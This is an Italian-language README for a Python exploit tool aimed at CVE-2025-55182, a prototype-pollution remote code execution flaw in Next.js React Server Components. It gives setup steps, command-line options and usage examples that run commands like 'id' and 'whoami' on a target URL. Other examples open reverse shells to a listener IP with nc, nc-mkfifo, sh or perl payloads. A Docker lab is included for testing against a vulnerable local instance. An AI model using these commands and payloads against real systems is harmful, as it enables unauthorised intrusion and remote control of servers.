
Exploit per CVE-2025-55182 che consente l'esecuzione remota di codice tramite prototype pollution in Next.js React Server Components, con capacità di esecuzione di comandi e reverse shell.
Sfrutta la CVE-2025-55182 per l'esecuzione remota di codice tramite prototype pollution.
uv sync
source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"
python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo
-u, --url: URL/host da controllare (obbligatorio)-c, --cmd: Comando da eseguire-r, --reverse: Abilita la modalità reverse shell-l, --lhost: Host in ascolto per la reverse shell-p, --lport: Porta in ascolto per la reverse shell-P, --payload: Tipo di payload per la reverse shell: nc, nc-mkfifo, sh, perl (default: nc)--timeout: Timeout di richiesta in secondi (default: 10)# Execute command
python3 exploit.py -u https://example.com -c "whoami"
# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo
La directory lab/ contiene un setup Docker completo per testare l'exploit.
cd lab
docker-compose up -d
Questo avvierà due servizi:
# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"
# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo